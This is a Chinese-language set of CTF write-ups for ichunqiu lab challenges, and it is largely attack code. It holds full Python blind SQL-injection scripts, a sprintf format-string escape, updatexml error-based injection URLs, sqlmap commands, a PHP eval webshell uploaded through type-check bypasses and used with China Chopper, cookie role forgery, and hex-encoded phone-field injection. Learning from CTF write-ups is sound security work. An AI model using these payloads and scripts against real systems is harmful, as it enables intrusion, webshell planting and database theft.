所以需要先求得对应的 captcha 才能提交.写爆破验证码的脚本 import hashlib def md5(s): return hashlib.md5(str(s).encode('utf-8')).hexdigest() def main(s): for i in range(1,99999999): if md5(i)[0:6] == str(s): print(i) exit(0) if __name__ == '__main__': main("159f69")得到验证码:27521218登录页面输入用户名: 8638d5263ab0d3face193725c23ce095,密码: 123(任意),验证码:27521218 点击 Submit 提交,发现窗口弹出显示7815696ecbf1c96e6894b779456d330e.php访问7815696ecbf1c96e6894b779456d330e.php文件路径,得到一个文件上传页面http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/7815696ecbf1c96e6894b779456d330e.php上传一句话php木马图片马,可成功上传 上传其他的.pht,可获得flag 最终flag:flag{3d9300a6-1967-48a5-b0d1-d14c3484d2fa} 题目名称:Some Words题目内容:find the flag题目writeup:启动题目场景,获得靶场网站,访问网站,发现网站是一个博客http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php#点击我的消息,出现的id值猜测存在sql注入http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=1加单引号,页面报错,显示是mysql数据库http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=1%E2%80%99测试and 1,发现and被过滤了http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=1 and 1 测试or 1,发现or 1可用,因为1 or 1 的结果是1,所以显示的结果是和id=1是一样的 http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=1 or 1 报错查询数据库http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select database()),0x7e),1)http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=1 or 1=1说明=已经被过滤http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=1 or 1>0测试<和>发现可以使用 经过测试,发现题目拦截了union select,and,=等关键字,但是没有拦截select mid from ascii等关键字,可以利用updexml()函数报错 报错查询数据库,得到数据库名为words?id=updatexml(1,concat(0x7e,(select database()),0x7e),1) http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select database()),0x7e),1)或者在报错注入中还有一种简单的方式判断当前数据库即构造?id=a() 该句表示在words数据库中不存在a表 一次输入以下函数得到的返回值: user() XPATH syntax error: '~root@localhost~' database() XPATH syntax error: '~words~' version() XPATH syntax error: '~5.5.57-0ubuntu0.14.04.1~' @@datadir XPATH syntax error: '~/var/lib/mysql/~'查查看表的数量,得到表的数量为83?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.tables ),0x7e),1) http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.tables ),0x7e),1) 查找到 flag所在的表名,爆破到83,显示fl4g就是flag的表名?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 1,1),0x7e),1)至?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 83,1),0x7e),1)http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 83,1),0x7e),1) 查找表的数量,得到表的数量为811?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.columns ),0x7e),1) http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.columns ),0x7e),1) 查找flag所在的字段,可通过二分爆破法进行爆破,这里最多爆破400次就被系统WAF拦截。爆破到808,显示fl4g就是flag的字段名?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 0,1),0x7e),1)至?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 811,1),0x7e),1)http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 808,1),0x7e),1)查找f14g字段的内容,发现flag的字段不全?id=updatexml(1,concat(0x7e,(select f14g from f14g),0x7e),1)http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select f14g from f14g),0x7e),1)得到前一大部分的flag:flag{dcef7c2d-45cf-4f4e-bdbb-d6 既然flag字段显示不全,于是想到利用sql语句的另一个函数reverse(),该函数可以颠倒数组中的顺序?id=updatexml(1,concat(reverse((select f14g from f14g))),1)得到的值:}e8702f1e646d-bbdb-e4f4-fc54-d2c那取反得到后一小部分flag:c2d-54fc-4f4e-bdbb-d646e1f2078e}最终得到flag:flag{dcef7c2d-45cf-4f4e-bdbb-d646e1f2078e} 题目名称:“迎圣诞,拿大奖”活动赛题---SQLi题目内容:find the flag.题目writeup:启动题目场景,获得靶场网站,访问网站,页面是一个登陆页面。http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/根据题目名称SQLi,猜测该题是一道SQL注入,那么我参数在登录窗口中输入用户名 admin,密码admin,提交并通过bupsuit对其抓包,发送请求,在响应页面中显示密码错误,那么猜测用户名admin是存在于网站中。username=admin&password=admin使用Burp Suite的intruder功能加载常用的键盘符号作为字典来fuzz 系统的waf测试,发现username是admin%的时候报错报错的内容为sprint(). 这里出现sprintf函数警告,查资料了解到,sprintf函数存在格式化字符串逃逸漏洞,由报错可以看出sprintf参数少于%的个数,需要使用占位符的写法,%1$可以逃逸引号的转义; 了解后,我们令username是admin%1\$’ and 1=1%23和admin%1$’ and 1=2%23来判断注入 为什么这样呢?因为放到sprintf里面的字符可能会在之前被转义了,因此我们利用%1$把分号转义出的\吃掉,就可以成功闭合,然后在后面实现注入了。 sprintf格式化字符串所引起的漏洞,具体原理可以参考下面这篇文章:https://blog.csdn.net/WQ_BCJ/article/details/8505744(解析php sprintf函数漏洞) 测试:admin%1\$’ and 1=1%23username=admin%1$\' and 1=1%23&password=admin结果返回了username error!,按照一开始的测试来说,若and 1=1执行成功应该会返回password error!猜测and被过滤了,下面换成or语句测试 测试 admin%1$\' or 1=1%23username=admin%1$\' or 1=1%23&password=admin结果返回了password error 测试:admin%1$\' or 1=2%23username=admin%1$\' or 1=2%23&password=admin结果返回了username error若第一个提示password error,第二个提示username error则说明此处存在注入 看到sprintf函数时,我们就应该想到php的字符串格式化逃逸漏洞,这个漏洞导致的结果是会将%1$/’ 变为 ’ ,也就是说绕过了单引号的转换,一般情况下sql语句中的单引号都会被转换为\’ ,这不利于我们进行单引号的闭合,借此漏洞,我们完成对sql语句的注入.* 由于该页面的响应只有两种,没有显位,即没有回显,我们无法直接通过页面的显示来得到数据库内容,那么就只有通过布尔值盲注了。* 布尔值无法用手工完成,要靠脚本完成,脚本如下:方法一: 查看当前数据库的长度:#coding:utf-8import requestsimport string dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="right = 'password error!'worry = 'username error!'url = 'http://ad38630038fd4c87bd8e55c7bd876412d064d626a2e64cae.game.ichunqiu.com/'for i in range(30): key = "admin%1$\\' or " + "(length(database())=" + str(i) + ")#" data = {'username':key, 'password':'111'} r = requests.post(url, data=data).content if right in str(r): print('the length of database is %s' %i)得到数据库的长度为3 查询数据库名称:# coding=utf-8 # Data: 2021/8/20 11:10 # File : database.py import requests import string dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-=" right = 'password error!' worry = 'username error!' url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/' database = '' for j in range(1,4): for each in dic: key = "admin%1$\\' or " + "(ascii(substr(database(),%s,1))="%j + str(ord(each)) + ")#" data = {'username':key, 'password':'111'} r = requests.post(url, data=data).content print(key) if right in str(r): database += each print(each) break print('the name of database is %s'%database)得到数据库名:ctf 脚本跑出表的长度:# coding=utf-8 # Data: 2021/8/20 11:11 # File : tabe_length.py import requests import string dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-=" right = 'password error!' worry = 'username error!' url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/' i = 1 while True: key = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=" + str(i) + "#" data = {'username':key, 'password':'111'} r = requests.post(url, data=data).content print(r) if right in str(r): print('the length of tables is %s' %i) break i += 1得到表的长度为4 脚本跑出表名:# coding=utf-8 # Data: 2021/8/20 11:13 # File : tabe.py import requests import string dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-=" right = 'password error!' worry = 'username error!' url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/' table = '' for i in range(1,5): for j in dic: key = "admin%1$\\' or " + "(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%s,1))="%i + str(ord(j)) + ")#" data = {'username':key, 'password':'111'} r = requests.post(url, data=data).content print(key) if right in str(r): table += j print(j) break print('the name of table is %s'%table) 得到表名为flag 脚本跑出字段长度:# coding=utf-8 # Data: 2021/8/20 11:14 # File : columns_length.py import requests import string dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-=" right = 'password error!' worry = 'username error!' url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/' i = 1 while True: key = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name=0x666c6167 limit 0,1)=" + str(i) + "#" data = {'username':key, 'password':'111'} r = requests.post(url, data=data).content print(r) if right in str(r): print('the length of columns is %s' %i) break i += 1得到字段长度为4 脚本跑出字段名称:# coding=utf-8 # Data: 2021/8/20 11:14 # File : columns.py import requests import string dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-=" right = 'password error!' worry = 'username error!' url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/' column = '' for i in range(1,5): for j in dic: key = "admin%1$\\' or " + "(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),%s,1))="%i + str(ord(j)) + ")#" data = {'username':key, 'password':'111'} r = requests.post(url, data=data).content print(key) if right in str(r): column += j print(j) break print('the name of column is %s'%column) 得到字段名称为flag 脚本跑出字段内容长度:# coding=utf-8 # Data: 2021/8/20 11:22 # File : data_length.py import requests import string dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-=" right = 'password error!' worry = 'username error!' url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/' i = 1 while True: key = "admin%1$\\' or " + "(select length(flag) from flag limit 0,1)=" + str(i) + "#" data = {'username':key, 'password':'111'} r = requests.post(url, data=data).content print(key) if right in str(r): print('the length of data is %s' %i) break i += 1 数据长度为42 脚本跑出字段内容:# coding=utf-8 # Data: 2021/8/20 11:24 # File : data.py import requests import string dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-=" right = 'password error!' worry = 'username error!' url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/' flag = '' for i in range(1,43): for j in dic: key = "admin%1$\\' or " + "(ascii(substr((select flag from flag limit 0,1),%s,1))="%i + str(ord(j)) + ")#" data = {'username':key, 'password':'111'} r = requests.post(url, data=data).content print(key) if right in str(r): flag += j print(j) break print('the flag is %s'%flag)得到flag:flag{b5b36121-86dd-a4db-aab3-86ddb749dfa1} 也可以将上面的每个脚本整合成一个脚本,跑出flag:#coding:utf-8 import requests import string def boom(): url = r'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/' s = requests.session() #会话对象requests.Session能够跨请求地保持某些参数,比如cookies,即在同一个Session实例发出的所有请求都保持同一个cookies,而requests模块每次会自动处理cookies,这样就很方便地处理登录时的cookies问题。 dic = string.digits + string.letters + "!@#$%^&*()_+{}-=" right = 'password error!' error = 'username error!' lens = 0 i = 0 #确定当前数据库的长度 while True: payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#" data={'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens=i break i+=1 pass print("[+]length(database()): %d" %(lens)) #确定当前数据库的名字 strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]database():%s" %(strs)) lens=0 i = 1 while True: payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#" #对当前的数据库,查询第一个表的长度 data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens = i break i+=1 pass print("[+]length(table): %d" %(lens)) #查询第一个表的名称 strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#" # 数字一定要str才可以传入 data = {'username':payload,'password':1} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]table_name:%s" %(strs)) tablename = '0x' + strs.encode('hex') #编码为16进制 table_name = strs lens=0 i = 0 while True: payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens = i break i+=1 pass print("[+]length(column): %d" %(lens)) strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]column_name:%s" %(strs)) column_name = strs num=0 i = 0 while True: payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: num = i break i+=1 pass print("[+]number(column): %d" %(num)) lens=0 i = 0 while True: payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens = i break i+=1 pass print("[+]length(value): %d" %(lens)) i=1 strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':'1'} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]flag:%s" %(strs)) if __name__ == '__main__': boom() print 'Finish!' 方法二:通过sqlmap添加前缀的参数:–prefix="%1$’",以及注入点为username,跑出ueranme存在注入这里data.txt数据为:POST / HTTP/1.1Host: 9c4a7e6bb03140e49c97bf6bf83c4b1770ed55845df24dd4.changame.ichunqiu.comUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://9c4a7e6bb03140e49c97bf6bf83c4b1770ed55845df24dd4.changame.ichunqiu.com/Cookie: __jsluid_h=f61e08c2eb093e133773dca6a57b7307Content-Type: application/x-www-form-urlencodedContent-Length: 29Connection: close username=admin&password=admin python sqlmap.py -r data.txt --prefix="%1$\'" -p username 爆数据库 python sqlmap.py -r data.txt --prefix="%1$\'" -p username --dbs爆表 python sqlmap.py -r data.txt --prefix="%1$\'" -p username --tables -D "ctf" 爆字段 python sqlmap.py -r data.txt --prefix="%1$\'" -p username --columns -T "flag" -D "ctf" --dump 最终得到flag:flag{b5b36121-86dd-a4db-aab3-86ddb749dfa1} 题目名称:Do you know upload?题目内容:加油吧,少年题目wirtup:启动题目场景,获得靶场网站,访问网站,发现页面是一个文件上传页面。 对其页面查看源码,在注释中通过file变量进行文件包含,于是想到php://input和php://filter/read=convert.base64-encode/resource=index.php通过php:filter伪协议进行文件包含index.php得到其内容 http://25126d4501084fe195d203e9d30e4786cfdbb36527ac4d13.changame.ichunqiu.com/?file=php://filter/read=convert.base64-encode/resource=index.php得到base64内容:PGh0bWw+DQo8aGVhZD48bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4NCjx0aXRsZT5VcGxvYWQ8L3RpdGxlPg0KPC9oZWFkPg0KDQo8Ym9keT4NCjxoMT7lm77niYfkuIrkvKA8L2gxPg0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICA8bGFiZWwgZm9yPSJmaWxlIj5GaWxlbmFtZTo8L2xhYmVsPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9Ii91cGxvYWRzLyIgLz4NCiAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgaWQ9ImZpbGUiIC8+DQogICAgPGJyIC8+DQogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiAvPg0KPC9mb3JtPg0KPCEtLSANCmluY2x1ZGUoJF9HRVRbJ2ZpbGUnXSk7IA0KLS0+DQoNCjw/cGhwDQoNCmluY2x1ZGUoJF9HRVRbJ2ZpbGUnXSk7IA0KQCRwaWMgPSAkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXTsNCkAkcGljcyA9IGV4cGxvZGUoJy4nICwgJHBpYyk7DQoNCmlmKEBpc3NldCgkX1BPU1Rbc3VibWl0XSkpew0KICAgIGlmICgoKCRfRklMRVNbImZpbGUiXVsidHlwZSJdID09ICJpbWFnZS9naWYiKQ0KICAgICAgICAgICAgfHwgKCRfRklMRVNbImZpbGUiXVsidHlwZSJdID09ICJpbWFnZS9qcGVnIikNCiAgICAgICAgICAgIHx8ICgkX0ZJTEVTWyJmaWxlIl1bInR5cGUiXSA9PSAiaW1hZ2UvcGpwZWciKSkpew0KDQogICAgICAgIGlmICgkX0ZJTEVTWyJmaWxlIl1bImVycm9yIl0gPiAwKXsNCiAgICAgICAgICAgIGVjaG8gIlJldHVybiBDb2RlOiAiIC4gJF9GSUxFU1siZmlsZSJdWyJlcnJvciJdIC4gIjxiciAvPiI7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgZWNobyAiVXBsb2FkOiAiIC4gJF9GSUxFU1siZmlsZSJdWyJuYW1lIl0gLiAiPGJyIC8+IjsNCiAgICAgICAgICAgIGVjaG8gIlR5cGU6ICIgLiAkX0ZJTEVTWyJmaWxlIl1bInR5cGUiXSAuICI8YnIgLz4iOw0KICAgICAgICAgICAgZWNobyAiU2l6ZTogIiAuICgkX0ZJTEVTWyJmaWxlIl1bInNpemUiXSAvIDEwMjQpIC4gIiBLYjxiciAvPiI7DQogICAgICAgICAgICAvL2VjaG8gIlRlbXAgZmlsZTogIiAuICRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSAuICI8YnIgLz4iOw0KICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCJ1cGxvYWQvIiAuICRfRklMRVNbImZpbGUiXVsibmFtZSJdKSl7DQogICAgICAgICAgICAgICAgZWNobyAkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSAuICIgYWxyZWFkeSBleGlzdHMuICI7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdLA0KICAgICAgICAgICAgICAgICAgICAidXBsb2FkLyIgLiAkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7DQogICAgICAgICAgICAgICAgZWNobyAiU3RvcmVkIGluOiAiIC4gInVwbG9hZC8iIC4gJF9GSUxFU1siZmlsZSJdWyJuYW1lIl07DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9ZWxzZXsNCiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgn5paH5Lu257G75Z6L5LiN5YWB6K64Jyk8L3NjcmlwdD4iOw0KICAgICAgICBlY2hvICJJbnZhbGlkIGZpbGUiOw0KICAgIH0NCn1lbHNlew0KICAgIC8vIGVjaG8gIkludmFsaWQgZmlsZSI7DQp9DQoNCj8+DQoNCjwvYm9keT4NCg0KPC9odG1sPg0Kbase64解码后主要代码如下:<?php include($_GET['file']); @$pic = $_FILES["file"]["name"];@$pics = explode('.' , $pic); if(@isset($_POST[submit])){ if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg"))){ if ($_FILES["file"]["error"] > 0){ echo "Return Code: " . $_FILES["file"]["error"] . "<br />"; }else{ echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Type: " . $_FILES["file"]["type"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; //echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; if (file_exists("upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " already exists. "; }else{ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload/" . $_FILES["file"]["name"]; } } }else{ echo "<script>alert('文件类型不允许')</script>"; echo "Invalid file"; }}else{ // echo "Invalid file";} ?>通过以上代码分析发现文件上传只是过滤了上传文件的type,通过修改content-type为image/jpeg或者image/gif即可上传 . 尝试上传一句话图片木马,test.jpg,内容为一句话:<?php eval($_POST['cmd']); ?> 通过buspuuti对其进行拦截,然后将test.jpg修改为test.php,发送请求,发现可以成功上传一句话图片后门文件,上传的存储路径为:upload/bk.php 通过菜刀连接一句话,密码为cmdhttps://25126d4501084fe195d203e9d30e4786cfdbb36527ac4d13.changame.ichunqiu.com/upload/test.php 通过菜刀自带的虚拟命令终端的find命令来查找flag,并没有发现flag find / -name "*flag*" 查看config.php的源码,发现包含了数据库的连接信息 得到:数据库用户名:ctf ,密码:ctfctfctf,数据库:ctf 下面通过菜刀自带的数据库管理功能连接数据库,其数据库配置连接信息如下: <T>MYSQL</T><H>localhost</H><U>ctf</U><P>ctfctfctf</P><L>utf8</L>通过查找到ctf数据库中的flag表中flag字段,然后执行语句,即可得到flag 最终falg:flag{0dc895ae-421e-47d8-83f9-a62f615d8509} 题目名称:broken题目内容:http://106.75.72.168:1111/ you got a file, but ... 题目writeup:启动题目场景,获得靶场网站,访问网站,网页内容显示,如果得到一个文件,其内容是已经被破坏了。http://106.75.72.168:1111/点击file,可以发现这是一段jsfuck编码。jsfuck的起源:在渗透测试时,js代码可能被关键词检测,于是作者考虑躲避关键词检测的想法,例如 eval等关键词. http://www.jsfuck.com/按照常见的套路复制粘贴到控制台执行,执行成功后,发现异常。正常的jsfuck开头为[] (![]+[]),而我们的开头似乎少了一个]我们补全后再次运行显示flag is not here,很明显这是调用了函数显示出的弹窗,于是我们删除最后代表function调用的()查看代码,即可得到flag:最终flag:flag{f_f_l_u_a_c_g_k} 题目名称:who are you?题目内容:http://106.75.72.168:2222/ 我是谁,我在哪,我要做什么 题目writeup:直接访问,显示权限不够X-Forwarded-For: 127.0.0.1在burp中重发,发现cookie中有一个名为role的数据(此时可以推断此题有90%的可能性与此有关) cookie:role=Zjo1OiJ0aHJmZyI7 将Zjo1OiJ0aHJmZyI7对其进行解密得到:f:5:"thrfg";f:5:"thrfg";看起来像是Rot13加密得到:s:5:"guest";将guest改为admin,那么s:5:"admin"; 进行Rot13加密后是: f:5:"nqzva";http://www.mxcz.net/tools/rot13.aspx 最后base64是:Zjo1OiJucXp2YSI7得到:<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->Hello admin, now you can upload something you are easy to forget示要构造post方式上传filename和data。(有很多工具可以使用,如Firefox的hackbar插件和burpsuit)利用burpsuit抓包并修改为POST上传,添加 filename项和data项 filename=flag.php&data=<?php phpinfo();?>页面会报错"No No No!", 因为网页做了正则匹配过滤. 而用data[]=的方法,把data从字符串变成数组,可以绕过正则匹配的过滤。 用data[]=的方法,把data从字符串变成数组,导致绕过正则匹配。 上传之后能够发现它返回了文件的地址,访问它就得到flag 发现回显为no no no,想到data可能是用一个数组存取的内容,抱着试试的想法将data改为data[]其他内容不变(filename和data的值不重要)。回显一个文件地址,将地址打开出现答案:flag{}filename=flag.php&data=[]得到:./uploads/3de8e9b787288c751bf7b0291b028fbaflag.phphttp://106.75.72.168:2222/uploads/3de8e9b787288c751bf7b0291b028fbaflag.php <?php%20eval($_POST['cmd']);%20?> 得到:./uploads/47013ce8d33835e50cd0f97565cb7172flag.phphttp://106.75.72.168:2222/uploads/47013ce8d33835e50cd0f97565cb7172flag.php最终得到flag:flag{e07cd440-8eed-11e7-997d-7efc09eb6c59} 题目名称:phone number题目内容:http://106.75.72.168:3333 Phone number is a good thing. 题目writup:访问题目场景,发现是一个登陆页面,并查看源码无果。http://106.75.72.168:3333/login.php这里按照正常流程,先注册一个账号:用户名bks,密码123456,手机号码:131288353391登录系统,点击check 返回了信息:There only 2 people use the same phone as you 通过 f12元素审核查看源码,发现注释中显示"听说admin中的手机号码藏着秘密,告诉我们flag就在admin用户的phone字段. 用户注册,尝试用户名和手机号码都加单引号,提示手机号码必须是数字联想到会不会服务端验证phone 用了is_number这里注册一个用户ss' ,密码123456,手机号码:hex(13128835391)为十六进制:0x3133313238383335333931果然如此,点击check,返回:db errror(sql错误) 应该是有注入的,结合上文中的注释提示,应该是注入出admin的电话号码即可得到flag,所以phone应该是利用点,要想办法得到admin的phone。 但是phone处只能输入数字,可以将sql语句转化为16进制。 查询字段回显数:注册一个账号ts , 密码123456, 手机号码:hex(13128835391 order by 1 #)为十六进制:0x313331323838333533393120206F7264657220627920312023,并抓包发送请求包(手机号码字段前段有长度限制,这里用抓包拦截发送请求绕过前端手机号码长度限制) 登录系统,点击check,返回: There only 1 people use the same phone as you 注册一个账号ts1 密码123456, 手机号码:hex(13128835391 order by 2 #)为十六进制:0x313331323838333533393120206F7264657220627920322023 登录系统,点击check.返回:db error! 说明字段只有一个字段位回显 爆数据库名: 注册一个账号ts2 密码123456, 手机号码:hex(13128835391 union select database()#)为十六进制:0x31333132383833353339312020756E696F6E2073656C656374206461746162617365282923 登录系统,点击check.返回: There only 3 people use the same phone as you There only webdb people use the same phone as you 得到数据库名为:webdb 爆表名: 注册一个账号ts3 密码123456, 手机号码:hex(13128835391 union select group_concat(table_name) from information_schema.tables where table_schema='webdb'#)为十六进制: 0x31333132383833353339312020756E696F6E2073656C6563742067726F75705F636F6E636174287461626C655F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D2777656264622723 登录系统,点击check.返回: There only 4 people use the same phone as youThere only user people use the same phone as you 得到表名user 爆字段名: 注册一个账号ts5 密码123456, 手机号码:hex(13128835391 union select group_concat(column_name) from information_schema.columns where table_name='user'#)为十六进制: 0x313331323838333533393120756E696F6E2073656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D27757365722723 登录系统,点击check.返回 There only 6 people use the same phone as youThere only Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routin people use the same phone as you 得到字段名,有用的字段为:User,Password,id,username,phone 爆字段内容 根据注释中admin的电话藏着大秘密,我们查询username为admin的电话 注册一个账号ts6 密码123456, 手机号码:hex(13128835391 union select phone from user where username='admin'#)为十六进制: 0x31333132383833353339312020756E696F6E2073656C6563742070686F6E652066726F6D207573657220776865726520757365726E616D653D2761646D696E2723 登录系统,点击check.返回 There only 7 people use the same phone as youThere only flag{6dd303b0-8fce-2396-9ad8-d9f7a72f84b0} people use the same phone as you 最终,得到flag:flag{6dd303b0-8fce-2396-9ad8-d9f7a72f84b0}
